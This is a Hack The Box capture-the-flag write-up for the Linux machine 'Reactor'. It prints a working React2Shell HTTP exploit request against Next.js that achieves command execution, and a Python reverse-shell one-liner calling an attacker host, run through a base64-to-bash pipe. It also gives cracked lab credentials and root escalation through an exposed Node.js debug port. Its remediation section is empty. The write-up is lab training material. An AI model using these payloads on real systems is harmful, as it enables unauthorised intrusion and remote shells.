Reactor

Reactor Machine Icon
Difficulty Easy
OS Linux
Platform Hack The Box
IP Address 10.129.2.208
← All Writeups

Summary

Machine Overview

Reactor is an easy-difficulty Linux machine focused on web application exploitation and privilege escalation through a Next.js application and Node.js debugging interface.

Pentesting Process

Service Enumeration

The assessment began with a comprehensive service enumeration using Nmap to identify exposed services and their versions.

nmap -sC -sV 10.129.2.208

The scan identified two accessible services:

              
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Sat, 23 May 2026 19:41:56 GMT
|     Connection: close
            

To simplify access to the server, we assigned the domain reactor.htb to its IP address in the /etc/hosts file.

echo "10.129.2.208 reactor.htb" >> /etc/hosts

Vulnerability Assessment

The machine hosts a web application on port 3000. This application is built with Next.js.

We checked if the running application is vulnerable to the React2Shell vulnerability (CVE-2025-55182 & CVE-2025-66478), which is a widely known vulnerability in Next.js and React.js applications.

A public scanner for this vulnerability is available on GitHub [1]

We used the scanner to verify the vulnerability.

python scanner.py -u http://reactor.htb:3000

The scanner confirmed that the application is vulnerable to React2Shell.

Reverse Shell Exploitation

We exploit the React2Shell vulnerability to execute commands on the target system.

To do this, we send the following HTTP request (we execute the command pwd on the target machine)

              
POST / HTTP/1.1
Host: reactor.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 692

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
      

The output of the command is displayed in the response. More precisely, the command output is embedded within the x-action-redirect header value: (/login?a=<OUTPUT>;push)

              
HTTP/1.1 303 See Other
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
cache-control: private, no-cache, no-store, max-age=0, must-revalidate
x-action-revalidated: [[],0,0]
x-action-redirect: /login?a=/opt/reactor-app;push
content-type: text/x-component
date: Sat, 23 May 2026 20:38:36 GMT
x-nextjs-cache: HIT
x-nextjs-prerender: 1
X-Powered-By: Next.js
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 4027
      

We use the same technique to execute a Python reverse shell payload.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",<ATTACKER_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

To prevent parsing problems, we encode the payload using base64 and use another Bash command to decode and execute it on the target system.

echo <BASE64_ENCODED_PAYLOAD> | base64 -d | /bin/bash

After sending the request, we receive a reverse shell connection on our listener.

Lateral Movement

After gaining initial access, we identified a SQLite database at /opt/reactor-app/reactor.db.

We found a table named users, which contained hashed passwords.

We cracked the password of the user engineer using the website CrackStation.

We use the cracked credentials to log into SSH as the user engineer (engineer:reactor1).

Post-Exploitation Enumeration

Running Processes Enumeration

We identified a process running a Node.js program as root.

ps -aux

              
root        1415  0.0  1.2 1066724 48716 ?       Ssl  09:15   0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
      

The process is running the program worker.js and enabling a debugging interface listening on port 9229.

Using Netstat, we verified that the server is listening on port 9229.

SSH Port Forwarding

The debugging interface can be accessed only via localhost on the target machine.

To access it from our local machine, we can use SSH port forwarding:

ssh engineer@reactor.htb -L 9229:127.0.0.1:9229

Node.js Debugging Interface Enumeration

According to the Medium article [2], the Node.js debugging interface can be used to execute JavaScript code on the target system.

Chrome DevTools

In the Chrome browser, navigate to chrome://inspect to access the debugging interface.

Add The Debugging Interface

We click on Configure and add the debugging interface.

The debugging interface is now available for use.

Javascript Execution

We can access the debugging interface by clicking on the Inspect button.

We use the following JavaScript code to establish a reverse shell into the target machine. We use the same Python payload that we used previously.

const { exec } = require('child_process'); exec('echo <BASE64_PYTHON_PAYLOAD> | base64 -d | /bin/bash');

After executing the code, we get a reverse shell as the root user.

Mitigation

Remediation

The following remediation steps can help prevent exploitation of the identified vulnerabilities:

References

References

  1. [1] GitHub | React2Shell Scanner
  2. [2] Medium | The Ghost in the Machine: How a Single Flag Can Give Attackers a Shell on Your Node.js Server